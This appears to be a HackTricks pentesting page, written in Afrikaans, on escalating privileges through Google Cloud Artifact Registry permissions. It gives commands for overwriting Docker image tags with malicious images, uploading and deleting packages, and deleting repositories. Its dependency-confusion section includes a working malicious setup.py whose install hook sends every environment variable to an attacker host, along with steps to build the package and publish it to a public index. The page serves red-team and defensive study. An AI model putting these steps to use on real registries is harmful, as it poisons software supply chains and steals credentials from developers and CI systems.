GCP - Artifact Registry Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Artifact Registry

Vir meer inligting oor Artifact Registry kyk:

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

Met hierdie permisie kan ’n aanvaller nuwe weergawes van die artefakte met kwaadaardige kode soos Docker-beeld oplaaI:

Laai Docker-beeld na Artifact Registry op ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

tag the image to upload it

docker tag : -docker.pkg.dev///:

Upload it

docker push -docker.pkg.dev///:

</details>

> [!CAUTION]
> Daar is bevestig dat dit **moontlik is om 'n nuwe kwaadwillige docker image op te laai** met dieselfde naam en tag as die een wat reeds bestaan, sodat die **oude image die tag sal verloor** en die volgende keer dat daardie image met daardie tag **afgelaai word, die kwaadwillige weergawe afgelaai sal word**.

<details>

<summary>Laai 'n Python-biblioteek op</summary>

**Begin deur die biblioteek wat opgelaai gaan word te skep** (as jy die nuutste weergawe uit die registry kan aflaai, kan jy hierdie stap oorslaan):

1.  **Stel jou projekstruktuur op**:

- Skep 'n nuwe gids vir jou biblioteek, bv., `hello_world_library`.
- Binne hierdie gids, skep nog 'n gids met jou pakketnaam, bv., `hello_world`.
- Binne jou pakket-gids, skep 'n `__init__.py`-lêer. Hierdie lêer kan leeg wees of inisialisasies vir jou pakket bevat.

<details>
<summary>Skep projekstruktuur</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
  1. Skryf jou biblioteekkode:
  • Binne die hello_world gids, skep ’n nuwe Python-lêer vir jou module, bv., greet.py.
  • Skryf jou “Hello, World!”-funksie:
Skep biblioteekmodule
# hello_world/greet.py
def say_hello():
return "Hello, World!"
  1. Skep ’n setup.py-lêer:
  • In die wortel van jou hello_world_library-gids, skep ’n setup.py-lêer.
  • Hierdie lêer bevat metadata oor jou biblioteek en vertel Python hoe om dit te installeer.
Skep setup.py-lêer
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)

Nou, kom ons laai die biblioteek op:

  1. Bou jou pakket:
  • Vanaf die wortel van jou hello_world_library-gids, voer uit:
Bou Python-pakket
python3 setup.py sdist bdist_wheel
  1. Konfigureer authenticatie vir twine (gebruik om jou pakket op te laai):
  • Maak seker jy het twine geïnstalleer (pip install twine).
  • Gebruik gcloud om credentials te konfigureer:
Laai pakket op met twine ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ```
  1. Maak die build skoon
Maak build-artefakte skoon ```bash rm -rf dist build hello_world.egg-info ```

Caution

Dit is nie moontlik om ’n python library met dieselfde weergawe as die een wat reeds teenwoordig is op te laai nie, maar dit is moontlik om hogere weergawes op te laai (of om ’n ekstra .0 aan die einde van die weergawe by te voeg as dit werk — nie in python egter —), of om die laaste weergawe te verwyder en ’n nuwe een op te laai (benodig artifactregistry.versions.delete):**

Verwyder artifact-weergawe
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

Met hierdie toestemming kan jy artefakte aflaai en soek na gevoelige inligting en kwesbaarhede.

Laai ’n Docker-beeld af:

Laai 'n Docker-beeld van Artifact Registry af ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

Dowload image

docker pull -docker.pkg.dev///:

</details>

Laai 'n **python**-biblioteek af:

<details>
<summary>Laai 'n Python-biblioteek van Artifact Registry af</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • Wat gebeur as ’n remote en ’n standard registries in ’n virtual een gemeng word en ’n pakket in albei bestaan? Kyk hierdie bladsy:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

Verwyder artefakte uit die registry, soos Docker images:

Verwyder Docker image van Artifact Registry ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ```

artifactregistry.repositories.delete

Verwyder ’n volledige repository (selfs al het dit inhoud):

Verwyder Artifact Registry repository ``` gcloud artifacts repositories delete --location= ```

artifactregistry.repositories.setIamPolicy

’n Aanvaller met hierdie toestemming kan homself toestemmings gee om sommige van die voorheen genoemde repository-aanvalle uit te voer.

Pivoting to other Services through Artifact Registry Read & Write

  • Cloud Functions

Wanneer ’n Cloud Function geskep word, word ’n nuwe docker image na die Artifact Registry van die projek gepush. Ek het probeer om die image te vervang met ’n nuwe een, en selfs die huidige image (en die cache image) te verwyder, maar niks het verander nie — die Cloud Function het steeds gewerk. Daarom mag dit dalk moontlik wees om ’n Race Condition attack te misbruik soos met die bucket om die docker-container wat uitgevoer sal word te verander, maar slegs die stoor-image te wysig is nie genoeg om die Cloud Function te kompromitteer nie.

  • App Engine

Alhoewel App Engine docker images binne Artifact Registry skep, is dit getoets dat selfs as jy die image binne hierdie diens wysig en die App Engine-instansie verwyder (sodat ’n nuwe een gedeploy word), die uitgevoerde kode nie verander nie.
Dit mag moontlik wees dat deur ’n Race Condition attack soos met die buckets die uitgevoerde kode oor geskryf kan word, maar dit is nie getoets nie.

artifactregistry.repositories.update

’n Aanvaller het nie spesifieke Artifact Registry-toestemmings nodig om hierdie probleem te benut nie — slegs ’n kwesbare virtual-repository konfigurasie. Dit gebeur wanneer ’n virtual repository ’n remote public repository (bv. PyPI, npm) met ’n interne een kombineer, en die remote bron gelyke of hoër prioriteit het. As beide ’n pakket met dieselfde naam bevat, kies die stelsel die hoogste weergawe. Die aanvaller hoef net die interne pakketnaam te ken en in staat te wees om pakkette na die ooreenstemmende public registry te publiseer.

Met die artifactregistry.repositories.update toestemming kan ’n aanvaller die upstream-instellings van ’n virtual repository verander om doelbewus hierdie kwesbare opstelling te skep en Dependency Confusion as ’n persistentiemetode te gebruik deur kwaadwillige pakkette in te voeg wat ontwikkelaars of CI/CD-stelsels moontlik outomaties gaan installeer.

Die aanvaller skep ’n kwaadwillige weergawe van die interne pakket in die public repository met ’n hoër weergawe nommer. Vir Python-pakkette beteken dit om ’n pakketstruktuur voor te berei wat die regmatige een naboots.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

Daar word dan ’n setup.py-lêer geskep wat kwaadwillige kode bevat wat tydens die installasie uitgevoer sal word. Hierdie lêer moet ’n weergawenommer spesifiseer wat hoër is as dié in die private repository.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

Bou die pakket en verwyder die wheel om te verseker dat die kode tydens installasie uitgevoer word.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Laai die kwaadwillige pakket op na die openbare repository (byvoorbeeld test.pypi.org vir Python).

pip install twine
twine upload --repository testpypi dist/*

Wanneer ’n stelsel of diens die pakket installeer deur die virtual repository te gebruik, sal dit die kwaadwillige weergawe vanaf die public repository aflaai in plaas van die wettige interne een, omdat die kwaadwillige weergawe hoër is en die remote repository gelyk of hoër prioriteit het.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks